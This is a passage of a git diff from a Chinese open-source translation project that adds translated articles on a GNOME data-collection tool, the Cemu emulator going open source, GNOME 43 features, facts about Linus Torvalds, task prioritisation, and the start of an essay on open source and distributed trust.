+[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/career_journey_road_gps_path_map_520.png +[2]: https://www.opennms.com/ +[3]: https://www.opennms.com/ diff --git a/published/202208/20220826 Want to Help Improve GNOME- This New Tool Gives You the Chance!.md b/published/202208/20220826 Want to Help Improve GNOME- This New Tool Gives You the Chance!.md new file mode 100644 index 0000000000..f7bd0fdb5c --- /dev/null +++ b/published/202208/20220826 Want to Help Improve GNOME- This New Tool Gives You the Chance!.md @@ -0,0 +1,82 @@ +[#]: subject: "Want to Help Improve GNOME? This New Tool Gives You the Chance!" +[#]: via: "https://news.itsfoss.com/gnome-improve-tool/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14972-1.html" + +想帮助改善 GNOME 吗?这个新工具给了你这个机会! +====== + +> 这个新的工具,使 GNOME 用户能够提供他们的配置和使用意见,以帮助改善用户体验。 + +![想帮助改善 GNOME 吗? 这个新工具给了你机会!][1] + +GNOME 带来了一个工具,可以让用户匿名提供他们的配置、扩展和 GNOME 调整设置等方面的意见。 + +这应该有助于 GNOME 了解更多的用户偏好,并做出更好的增强用户体验的决定。 + +有趣的是,是红帽公司的一名实习生(Vojtech Stanek)创造了这个工具。 + +### GNOME 信息收集:准备好安装了吗? + +![gnome info collect terminal][2] + +该工具(`gnome-info-collect`)是一个简单的终端程序,你需要下载、安装并运行它来与 GNOME 分享数据。 + +以下是该工具需要从你的 GNOME 系统中收集的内容: + +* 硬件信息(包括制造商和型号)。 +* 系统设置(包括工作区配置、共享功能、SSH 等)。 +* 安装并启用的 GNOME shell 扩展。 +* 应用程序信息(如已安装的应用程序和收藏的应用程序)。 +* Linux 发行版和版本。 +* Flatpak 和 Flathub 状态。 +* 默认浏览器。 +* 机器 ID + 用户名的 [加盐哈希][3]。 + +你可以在其 [GitLab 页面][4] 上找到适合你的发行版的软件包和收集数据的更多细节。 + +如果你有一个基于 Ubuntu 的发行版,你可以通过输入以下内容来安装它: + +``` +sudo snap install --classic gnome-info-collect +``` + +安装完毕后,在终端使用以下命令将其启动: + +``` +gnome-info-collect +``` + +接下来,它会显示它打算与 GNOME 共享的数据。所以,如果你觉得没问题,你可以选择将数据上传到 GNOME 的服务器上。 + +![][5] + +考虑到这些数据是匿名的,它应该可以帮助 GNOME 了解他们的用户喜欢什么,并随着时间的推移专注于这些改进。 + +> **[下载 gnome-info-collect][6]** + +你对 GNOME 的这个新的数据收集工具有什么看法?请在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-improve-tool/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/gnome-improvement-tool.jpg +[2]: https://news.itsfoss.com/content/images/2022/08/gnome-info-collect-terminal.png +[3]: https://en.wikipedia.org/wiki/Salt_(cryptography) +[4]: https://gitlab.gnome.org/vstanek/gnome-info-collect/ +[5]: https://news.itsfoss.com/content/images/2022/08/gnome-info-collect-sharing.png +[6]: https://gitlab.gnome.org/vstanek/gnome-info-collect/ diff --git a/published/202208/20220826 Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here-s Why.md b/published/202208/20220826 Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here-s Why.md new file mode 100644 index 0000000000..64df83052b --- /dev/null +++ b/published/202208/20220826 Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here-s Why.md @@ -0,0 +1,39 @@ +[#]: subject: "Wii U Emulator Cemu Going Open Source Is Significant For Emulation, Here’s Why" +[#]: via: "https://www.opensourceforu.com/2022/08/wii-u-emulator-cemu-going-open-source-is-significant-for-emulation-heres-why/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14979-1.html" + +Wii U 模拟器 Cemu 走向开源对仿真技术意义重大 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/29/152146nvs93gzs720ftfy8.jpg) + +Wii U 模拟器 Cemu 的开发者上周二宣布了一个重要的 2.0 版本发布,首次交付了 Linux 上的二进制文件,并开源了他们八年的成果。Cemu 是一个 Wii U 模拟器,并于 2017 年创造了历史 —— 每个月可以通过 Patreon 获得支持其发展的数千美元赞助。Cemu 以其在 Patreon 上曾短暂达到 25,000 美元的最高收入而为人所知,这引起了人们对“仿真是否道德”的关注,特别是它被用来换取金钱,而项目却是“闭源的”而不是“开源”的 —— 也就是说源代码没有向公众开放。 + +仿真社区保护自己免受法律诉讼的主要方式之一是向公众提供其源代码,允许像任天堂这样的“诉讼公司”检查它,并验证在反向工程过程中没有使用他们的专有代码。 + +据 Exzap 称,Cemu 对 Linux 的支持“仍然相当粗糙”,但他相信随着更多的模拟器开发者熟悉 Cemu,并开始为该项目做出贡献,这种情况将迅速改变。Cemu 以前只兼容 Windows,但现在支持 Linux,可以在 Steam Deck 上快速安装。在 Cemu 引入 Flatpak 支持一键安装之前,在 Deck 上使用它并不那么简单,不过这个话题已经在 GitHub 上讨论过了。 + +Cemu 的作者利用 2.0 发布公告简要地讨论了该模拟器的历史;在该模拟器的大部分历史中,他们是唯一的开发者,他们声称过去两年对项目的压力特别大。 + +Exzap 将继续做出贡献,但预计拥有其他开发者将有助于创建几个重要的功能,如暂停和恢复仿真的能力,以及提高在旧硬件上的性能。 + +“我已经在 Cemu 上工作了近 8 年,看着这个项目从一个似乎不可行的实验,发展到在其高峰期有超过一百万人使用的东西,”Exzap 在上周二的公告中写道,“即使在今天,当 Wii U 已经被大部分人遗忘的时候,我们每个月仍然有 25 万次下载。仍然有这么多人在用 Cemu 享受 Wii U 游戏,我将永远感激让我有机会以积极的方式影响这么多人的生活,哪怕只是一丁点。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/wii-u-emulator-cemu-going-open-source-is-significant-for-emulation-heres-why/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202208/20220829 5 GNOME 43 Features to Keep an Eye On.md b/published/202208/20220829 5 GNOME 43 Features to Keep an Eye On.md new file mode 100644 index 0000000000..5678acff06 --- /dev/null +++ b/published/202208/20220829 5 GNOME 43 Features to Keep an Eye On.md @@ -0,0 +1,157 @@ +[#]: subject: "5 GNOME 43 Features to Keep an Eye On" +[#]: via: "https://news.itsfoss.com/gnome-43-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14985-1.html" + +5 个需要关注的 GNOME 43 功能 +====== + +> GNOME 43 即将到来。下面是你可以期待在该版本中出现的功能。 + +![5 个值得关注的 GNOME 43 功能][1] + +GNOME 43 将于 2022 年 9 月 21 日发布。截至目前,GNOME 43 的测试版已经可供测试。 + +我们在 GNOME 43 测试版中发现的功能和变化应该随着最终版本的发布而到来。 + +那么,哪些是你最值得期待的 GNOME 43 功能呢? + +让我们来看看一些关键的变化。 + +这个列表集中在视觉/交互式变化上。关于技术变化的完整列表,你可以参考文章底部链接的更新日志。 + +### 1、改造了快速设置 + +![GNOME 快速设置][2] + +GNOME 桌面菜单位于右上角,你可以在这里快速调整音量、访问网络连接,以及开/关电脑,在这个版本中它终于得到了视觉上的更新。 + +现在,它看起来更像是安卓的快速切换栏,这应该会增强用户体验,同时减少一些多余的点击。 + +![GNOME 快速设置][3] + +你不需要前往设置来打开深色模式和夜光。新的快速切换菜单就可以让你可以访问到它们。 + +此外,像选择 Wi-Fi 网络和改变音频设备这样的事情比以前更容易做到。 + +### 2、对 Nautilus 文件管理器的改变 + +虽然我们已经在之前的报道中提到了 GNOME 43 中对 Nautilus 最重要的改变。 + +> **[GNOME 43 中 Nautilus 文件管理器的 6 个新变化][4]** + +有几件事值得再次重申。其中一些包括: + +* 使用 GTK 4 的全新外观。 +* 拖动和选择文件的能力(橡皮筋选择)。 +* 紧凑窗口的自适应视图。 +* 新的文件上下文菜单。 + +![Nautilus 文件管理器][6] + +总的来说,在 GNOME 43 中,你会发现 Nautilus 文件管理器有了一些视觉上的调整,并有动画的细微改进。 + +你可以点击每一个选项,访问目录的属性等等来探索其中的差异。它应该感觉更直观一些。 + +### 3、设备安全信息 + +![][7] + +我们之前报道过 GNOME 会在你禁用安全启动时显示警告。 + +> **[安全启动已被禁用? GNOME将很快向您发出警告!][8]** + +你会在你的闪屏和锁屏中看到这个警告。 + +GNOME 的设置菜单也有一个新的 “设备安全” 选项,在这里你可以看到安全启动状态和其他重要信息,比如: + +* TPM +* 英特尔 BootGuard +* IOMMU 保护 + +### 4、GNOME Web 的扩展支持 + +![GNOME Web 扩展][10] + +GNOME Web 在每次更新都会变得更好一些。有了 Web 扩展的支持,它成为了一个有吸引力的选择,可以取代你的日常使用的浏览器。 + +> **[有了扩展,GNOME Web 正慢慢成为桌面 Linux 上一个有吸引力的选择][11]** + +在写这篇文章的时候,该支持仍然是 **实验性的**,你必须得手动安装扩展。 + +对于初学者来说,你可以在 Mozilla Firefox 附加组件门户上下载 .xpi 扩展文件。 + +### 5、GNOME 软件中心的改进 + +GNOME 的软件中心目前的体验并不是很好。 + +虽然它在提供额外信息方面有所改进,但仍有改进的余地。 + +![GNOME 软件][13] + +在 GNOME 43 中,你可以了解到更多关于 Flatpak 应用程序所需的权限。而且,你还可以看到一个 “其他应用程序” 部分,以寻找同一开发者的其它应用程序。 + +此外,软件包来源的显示方式也有了细微的视觉调整。 + +![GNOME 软件][14] + +### 附加:新的墙纸 + +你会得到新的默认壁纸,有深色和浅色的变体。下面是深色壁纸背景的样子: + +![][15] + +而这是浅色版本: + +![][16] + +除了主要的亮点之外,其他一些变化包括: + +* Adwaita 图标主题更新。 +* GNOME 应用程序的性能改进。 +* 各种代码的清理。 +* 对日历的改进。 +* 改良了“关于”窗口。 + +关于完整的技术细节,你可以参考 [GNOME 43 测试版更新日志][17]。 + +总的来说,GNOME 43 在很大程度上注重提高可用性和用户体验。 + +最初还计划了一些有趣的功能,但它们没有进入 GNOME 43。*也许,GNOME 44 会包括这些?* + +> **[这里是开发者为 GNOME 43 规划的内容][18]** + +*你对 GNOME 43 的功能有何看法?请在下面的评论中告诉我们你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-43-features/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/gnome-43-features.jpg +[2]: https://news.itsfoss.com/content/images/2022/08/gnome-toggle-1.png +[3]: https://news.itsfoss.com/content/images/2022/08/gnome-toggle-settings.png +[4]: https://news.itsfoss.com/gnome-files-43/ +[6]: https://news.itsfoss.com/content/images/2022/08/nautilus-file.gif +[7]: https://news.itsfoss.com/content/images/2022/08/secure-boot-gnome.png +[8]: https://news.itsfoss.com/gnome-secure-boot-warning/ +[10]: https://news.itsfoss.com/content/images/2022/08/gnome-web-extensions-1.png +[11]: https://news.itsfoss.com/gnome-web-extensions-dev/ +[13]: https://news.itsfoss.com/content/images/2022/08/gnome-software-screenshot-1.png +[14]: https://news.itsfoss.com/content/images/2022/08/gnome-43-software-center.jpg +[15]: https://news.itsfoss.com/content/images/2022/08/gnome-43-dark-wallpaper.jpg +[16]: https://news.itsfoss.com/content/images/2022/08/gnome-light-adaitwa.jpg +[17]: https://download.gnome.org/core/43/43.beta/NEWS +[18]: https://news.itsfoss.com/gnome-43-dev-plans/ diff --git a/published/202209/20200426 20 Facts About Linus Torvalds, the Creator of Linux and Git.md b/published/202209/20200426 20 Facts About Linus Torvalds, the Creator of Linux and Git.md new file mode 100644 index 0000000000..dbebc4478f --- /dev/null +++ b/published/202209/20200426 20 Facts About Linus Torvalds, the Creator of Linux and Git.md @@ -0,0 +1,189 @@ +[#]: subject: "20 Facts About Linus Torvalds, the Creator of Linux and Git" +[#]: via: "https://itsfoss.com/linus-torvalds-facts/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15063-1.html" + +关于 Linux 和 Git 的创造者 Linus Torvalds 的 20 件趣事 +====== + +> 一些已知的、或鲜为人知的事情 —— 这里有 20 件关于 Linux 内核创造者 Linus Torvalds 的趣事。 + +![Linus Torvalds,Linux 和 Git 的创造者][1] + +[Linus Benedict Torvalds][2](林纳斯·本纳第克特·托瓦兹),在 1991 年还是一名攻读硕士的芬兰学生时,他开发了一个类 Unix 操作系统。从那时起,它引发了一场革命:今天,它为大多数 Web 服务器、许多嵌入式设备和 [500 强超级计算机][3] 中的每一台提供支持。 + +我已经写过一些鲜为人知的 [关于 Linux 的事实][4],但这篇文章不是关于 Linux 的,而是关于它的创造者,Linus Torvalds。 + +通过阅读他的传记《[只是为了好玩][5]Just for Fun》,我了解了有关 Torvalds 的许多事情。如果你有兴趣,你也可以 [订购一本传记][6]。(这是一个 [受益推荐][7] 链接。) + +### 关于 Linus Torvalds 的 20 个有趣事实 + +你可能已经知道一些关于 Linus 的事情,但是通过阅读这篇文章,你很有可能会了解一些关于他的新趣事。 + +#### 1、以诺贝尔奖获得者的名字命名 + +Linus Benedict Torvalds 于 1969 年 12 月 28 日出生于赫尔辛基。他来自一个记者家庭。他的父亲 [Nils Torvalds][11] 是芬兰政治家,可能是未来参加选举的总统候选人。 + +他的名字来自于诺贝尔化学与和平奖的双奖获得者 [Linus Pauling][12] 的名字。 + +#### 2、世界上所有的 Torvalds 都是亲戚 + +虽然你可能会找到几个名字为 Linus 的人,但你不会找到很多姓 Torvalds 的人 —— 因为“正确”的拼写实际上是 Torvald(没有 s)。他的祖父将名字从 Torvald 改为 Torvalds,并在末尾添加了一个“s”。于是,Torvalds 王朝(如果我可以这么称呼它的话)开始了。 + +由于这是一个不寻常的姓氏,所以世界上只有不到 30 个 Torvalds,而且他们都是亲戚,这是 Linus Torvalds 在他的传记中说的。 + +![年轻的 Linus Torvalds 和他的记者妹妹 Sara Torvalds][13] + +#### 3、他的第一台电脑是 Commodore Vic 20 + +10 岁时,Linus 开始在他外祖父的 Commodore Vic 20 上使用 BASIC 编写程序。这使他发现自己对计算机和编程的热爱。 + +#### 4、Linus Torwalds 少尉 + +尽管他更喜欢花时间在电脑上而不是体育活动上,但他必须参加强制性的军事训练。他的军衔是少尉。 + +#### 5、因为他没有钱购买 UNIX,他创造了 Linux + +1991 年初,出于对 [MS-DOS][14] 和 [MINIX][15] 不满意,Torvalds 想购买一套 UNIX 系统。对我们来说幸运的是,他没有足够的钱。因此,他决定从头开始制作自己的 UNIX 复制品。 + +#### 6、Linux 可以被称为 Freax + +1991 年 9 月,Linus 发布了 Linux(代表 “Linus's MINIX”)并鼓励他的同好们使用其源代码进行更广泛的分发。 + +Linus 认为 Linux 这个名字太自负了。他想把它改成 Freax(基于 free、freak 和 MINIX),但他的朋友 Lemmarke 已经在 FTP 服务器上创建了一个名为 Linux 的目录。因此,Linux 的名称才得以沿用下来。(LCTT 译注:这个故事和我听到的不同。) + +#### 7、Linux 是他在大学的主要项目 + +《Linux:一种可移植的操作系统》是他的硕士论文题目。 + +#### 8、他娶了他的学生 + +1993 年,他在赫尔辛基大学任教时,给学生们布置了一份写电子邮件的作业。是的,当时撰写电子邮件没那么简单。 + +一位名叫 Tove Monni 的女学生完成了这项任务,给他发送一封电子邮件,并邀请他出去约会。他接受了,三年后,他们三个女儿中的第一个出生了。 + +我应该说他开创了网恋的潮流吗?嗯……不!让我们就此打住 ;) + +![Linus Torvalds 和他的妻子 Tove Monni Torvalds][16] + +#### 9、Linus 有一颗以他的名字命名的小行星 + +他的名字获得了无数荣誉,包括一颗名为 [9793 Torvalds][17] 的小行星。 + +#### 10、Linus 不得不为 Linux 的商标而战 + +Linux 是 Linus Torvalds 的注册商标。Torvalds 最初并不关心这个商标,但在 1994 年 8 月,William R. Della Croce, Jr. 注册了 Linux 商标,并开始向 Linux 开发人员索要版税。作为回应,Torvalds 起诉了他,并于 1997 年解决了此案。 + +#### 11、史蒂夫·乔布斯希望他为苹果公司的 macOS 工作 + +2000 年,苹果公司的创始人 [史蒂夫·乔布斯邀请他为苹果公司的 macOS 工作][19]。Linus 拒绝了这个报酬丰厚的提议,并继续致力于开发 Linux 内核。 + +#### 12、Linus 还创建了 Git + +大多数人都知道 Linus Torvalds 创建 Linux 内核,但他还创建了 [Git][20],这是一个广泛用于全世界的软件开发的版本控制系统。 + +直到 2005 年,(当时)专有服务 [BitKeeper][21] 还用于 Linux 内核的开发。而当 Bitkeeper 关闭其免费服务时,Linus Torvalds 自己创建了 Git,因为其他版本控制系统都不能满足他的需求。 + +#### 13、如今 Linus 几乎不编程 + +尽管 Linus 全职从事 Linux 内核工作,但他几乎不再为它编写任何代码。事实上,Linux 内核中的大部分代码都来自世界各地的贡献者。他在内核维护人员的帮助下,确保每个版本发布都能顺利进行。 + +#### 14、Torvalds 讨厌 C++ + +Linus Torvalds 极其 [不喜欢 C++ 编程语言][22],并对此直言不讳。他开玩笑说 Linux 内核的编译速度都比 C++ 程序快。 + +#### 15、即使是 Linus Torvalds 也发现 Linux 难以安装(现在你可以自我感觉良好了) + +几年前,Linus 说过 [他发现 Debian 难以安装][23]。众所周知,他 [在他的主要工作站上使用 Fedora][24]。 + +#### 16、他喜欢水肺潜水 + +Linus Torvalds 喜欢水肺潜水。他甚至创造了一种供水肺潜水员使用的潜水记录工具 [Subsurface][25]。你会惊讶地发现,有时他甚至会在论坛上回答一些普通问题。 + +![穿着潜水装备的 Linus Torvalds][26] + +#### 17、满嘴脏话的 Torvalds 改善了他的行为 + +Torvalds 以在 Linux 内核邮件列表中使用 [轻度脏话][27] 而闻名,这遭到了一些业内人士的批评。但是,很难批评他对 “[F**k you, NVIDIA][28]” 的玩笑,因为它促使英伟达为 Linux 内核提供了更好的适配。 + +2018 年,[Torvalds 暂时离开了 Linux 内核开发,以改善他的行为][29]。这是在他签署有争议的 [Linux 内核开发人员行为准则][30] 之前完成的。 + +![Linus Torvalds 对英伟达的中指:去你的!英伟达][31] + +#### 18、他太害羞了,不敢在公共场合讲话 + +Linus 对公开演讲感到不舒服。他不怎么参加活动。而当他必须参加时,他更喜欢坐下来接受主持人的采访。这是他最喜欢的公开演讲方式。 + +#### 19、他不是社交媒体爱好者 + +[Google Plus][32] 是他使用过的唯一社交媒体平台。他甚至在空闲时花了一些时间 [点评了小组件][33]。Google Plus 现已停用了,因此他没有其他社交媒体帐户。 + +#### 20、Torvalds 定居在美国 + +Linus 于 1997 年移居美国,并与他的妻子 Tove 和他们的三个女儿在那里定居。他于 2010 年成为美国公民。目前,作为 [Linux 基金会][34] 的成员,他全职从事 Linux 内核工作。 + +很难说 Linus Torvalds 的净资产是多少,或者 Linus Torvalds 的收入是多少,因为这些信息从未公开过。 + +![Tove 和 Linus Torvalds 和他们的女儿 Patricia、Daniela 和 Celeste][35] + +如果你有兴趣了解更多有关 Linus Torvalds 早期生活的信息,我建议你阅读他的传记,书名为 《[只是为了好玩][5]Just for Fun》。 + +*免责声明:这里的一些图片来源于互联网,我没有图像的版权,我也不打算用这篇文章侵犯 Torvalds 家族的隐私。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linus-torvalds-facts/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2017/12/Linus-Torvalds-featured-800x450.png +[2]: https://en.wikipedia.org/wiki/Linus_Torvalds +[3]: https://itsfoss.com/linux-runs-top-supercomputers/ +[4]: https://itsfoss.com/facts-linux-kernel/ +[5]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[6]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[7]: https://itsfoss.com/affiliate-policy/ +[8]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[9]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[10]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[11]: https://en.wikipedia.org/wiki/Nils_Torvalds +[12]: https://en.wikipedia.org/wiki/Linus_Pauling +[13]: https://itsfoss.com/wp-content/uploads/2017/12/Linus_and_sara_Torvalds.jpg +[14]: https://en.wikipedia.org/wiki/MS-DOS +[15]: https://www.minix3.org/ +[16]: https://itsfoss.com/wp-content/uploads/2017/12/Linus_torvalds-wife-800x533.jpg +[17]: http://enacademic.com/dic.nsf/enwiki/1928421 +[18]: https://youtu.be/eE-ovSOQK0Y +[19]: https://www.macrumors.com/2012/03/22/steve-jobs-tried-to-hire-linux-creator-linus-torvalds-to-work-on-os-x/ +[20]: https://en.wikipedia.org/wiki/Git +[21]: https://www.bitkeeper.org/ +[22]: https://lwn.net/Articles/249460/ +[23]: https://www.youtube.com/watch?v=qHGTs1NSB1s +[24]: https://plus.google.com/+LinusTorvalds/posts/Wh3qTjMMbLC +[25]: https://subsurface-divelog.org/ +[26]: https://itsfoss.com/wp-content/uploads/2017/12/Linus_Torvalds_in_SCUBA_gear.jpg +[27]: https://www.theregister.co.uk/2016/08/26/linus_torvalds_calls_own_lawyers_nasty_festering_disease/ +[28]: https://www.youtube.com/watch?v=_36yNWw_07g +[29]: https://itsfoss.com/torvalds-takes-a-break-from-linux/ +[30]: https://itsfoss.com/linux-code-of-conduct/ +[31]: https://itsfoss.com/wp-content/uploads/2012/09/Linus-Torvalds-Fuck-You-Nvidia.jpg +[32]: https://plus.google.com/+LinusTorvalds +[33]: https://plus.google.com/collection/4lfbIE +[34]: https://www.linuxfoundation.org/ +[35]: https://itsfoss.com/wp-content/uploads/2017/12/patriciatorvalds.jpg +[36]: https://opensource.com/life/15/8/patricia-torvalds-interview +[37]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[38]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[39]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[40]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID diff --git a/published/202209/20210114 How I prioritize tasks on my to-do list.md b/published/202209/20210114 How I prioritize tasks on my to-do list.md new file mode 100644 index 0000000000..c80297c1f3 --- /dev/null +++ b/published/202209/20210114 How I prioritize tasks on my to-do list.md @@ -0,0 +1,68 @@ +[#]: collector: "lujun9972" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15088-1.html" +[#]: subject: "How I prioritize tasks on my to-do list" +[#]: via: "https://opensource.com/article/21/1/prioritize-tasks" +[#]: author: "Kevin Sonney https://opensource.com/users/ksonney" + +如何确定待办事项上任务的优先级 +====== + +> 使用艾森豪威尔矩阵更好地安排你的待办事项的优先次序。 + +![](https://img.linux.net.cn/data/attachment/album/202209/30/121930xx0jnngx0oa8jl88.jpg) + +在本文中,将研究一种在待办事项上确定任务优先级的策略。想要找到适合你日常工作的开源工具,请查看 [此列表][2]。 + +把事情添加到任务或待办事项中很容易。几乎太容易了。而一旦列入清单,挑战就变成了弄清楚先做什么。我们要做清单首位的事情吗?清单首位的事情是最重要的吗?如何弄清楚最重要的事是什么? + +![To-do list][3] + +*要做的事。今天?明天?谁知道呢?(Kevin Sonney, [CC BY-SA 4.0][4])* + +[与电子邮件一样][5],我们可以根据一些事情来确定任务的优先级,这可以让我们弄清楚什么事情需要先做,什么可以等到以后再做。 + +我使用一种被称为“艾森豪威尔矩阵Eisenhower Matrix” 的方法,它取自美国总统 德怀特·戴维·艾森豪威尔Dwight D. Eisenhower 的一句话。画一个水平和垂直分割的方框。在列上标明“紧急”和“不紧急”,在行上标明“重要”和“不重要”。 + +![Eisenhower matrix][6] + +*一个艾森豪威尔矩阵。(Kevin Sonney, [CC BY-SA 4.0][4])* + +你可以把待办事项上的任务放在其中一个框里。但如何知道一个任务应该放在哪里?紧迫性和重要性往往是主观的。因此,第一步就是决定什么对你来说是重要的。我的家庭(包括宠物)、工作和爱好都很重要。如果待办事项上的东西与这三件事无关,我可以立即把它放到 “不重要” 行。 + +紧迫性是一个比较简单的问题。一件事需要在今天或明天完成吗?那么它可能是 “紧急的”。一件事是否有一个即将到来的最后期限,但离那个时间还有几天/几周/几个月,或者它根本就没有最后期限?当然是 “不急的”。 + +现在我们可以将这些框转化为优先级。“紧急/重要” 是最高优先级(即第一优先级),需要首先完成。接下来是 “不紧急/重要”(优先级 2),然后是 “紧急/不重要”(优先级 3),最后是 “不紧急/不重要”(优先级 4 或根本没有优先级)。 + +请注意,“紧急/不重要” 是第三位,而不是第二位。这是因为,人们花了很多时间在那些看似重要的事情上,只是因为它们比较紧急,实际上这些事并不是重要的。当我看到这类事项时,我会问自己一些问题。这些任务需要我具体完成吗?这些任务我可以要求其他人去做吗?它们对其他人来说是否重要和紧急?而这是否改变了它们对我的重要性?也许它们需要重新分类,或者我可以要求别人完成,并将它们从我的清单中删除。 + +![After prioritizing][7] + +*确定优先级后。(Kevin Sonney, [CC BY-SA 4.0][4])* + +对于“不紧急/不重要”框中的事项,有一个问题要问,那就是 “这些事情到底需不需要放在我的清单上?”说实话,我们经常用那些不紧急或不重要的事情来填满待办事项清单,但其实完全可以将它们从清单上删除。我知道承认 “这事永远不会完成” 是很难的,但在接受这个事实后,把这个事情从清单上删除并且不用再为它担心,是一种解脱。 + +经过这一切,看着清单很容易说出:“这是我现在需要做的事情。” 然后完成它。这就是待办事项的作用:为一天提供指导和重点。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/prioritize-tasks + +作者:[Kevin Sonney][a] +选题:[lujun9972][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ksonney +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/todo_checklist_team_metrics_report.png?itok=oB5uQbzf "Team checklist and to dos" +[2]: https://opensource.com/article/20/5/alternatives-list +[3]: https://opensource.com/sites/default/files/pictures/to-do-list.png "To-do list" +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/article/21/1/email-rules +[6]: https://opensource.com/sites/default/files/pictures/eisenhower-matrix.png "Eisenhower matrix" +[7]: https://opensource.com/sites/default/files/pictures/after-prioritizing.png "After prioritizing" diff --git a/published/202209/20210115 How open source builds distributed trust.md b/published/202209/20210115 How open source builds distributed trust.md new file mode 100644 index 0000000000..9926f35258 --- /dev/null +++ b/published/202209/20210115 How open source builds distributed trust.md @@ -0,0 +1,68 @@ +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15081-1.html) +[#]: subject: (How open source builds distributed trust) +[#]: via: (https://opensource.com/article/21/1/open-source-distributed-trust) +[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) + +开源如何构建分布式信任 +====== + +> 对开源的信任是一个正反馈循环。 + +![信任][1] + +这是我即将在 [Wiley][2] 出版的《计算和云计算中的信任Trust in Computing and the Cloud》一书中经过编辑的节选,也是我之前写的一篇文章[《信任与选择开源》][3]Trust & choosing open source的延伸。 + +在那篇文章中,我提出了一个问题。当我们说 “我相信开放源码软件” 时,我们在做什么?作为回答,我认为,我们正在做的是确定有足够多的编写和测试该软件的人与我有类似的要求,而且他们的专业知识加在一起,使我使用该软件的风险可以接受。我同时也介绍了 “分布式信任distributed trust” 的概念。 + +在社区内分布信任的概念是亚里士多德提出的 “人群智慧理论wisdom of the crowd theory” 的应用,其中的假设是,许多人的意见通常比一个人或少数人的意见更有明智。虽然在某些情况下,最简单的形式显然是错误的 —— 最明显的例子是民众对极权主义政权的支持 —— 但这一原则可以为建立某些信息提供一个非常有效的机制。 + +我们称这种集体经验的提炼为“分布式信任”,它通过互联网上的许多机制收集。如 TripAdvisor 或 Glassdoor,记录了关于组织或其提供的服务的信息,还有像 UrbanSitter 或 LinkedIn,允许用户添加关于特定人的信息(例如,见 LinkedIn 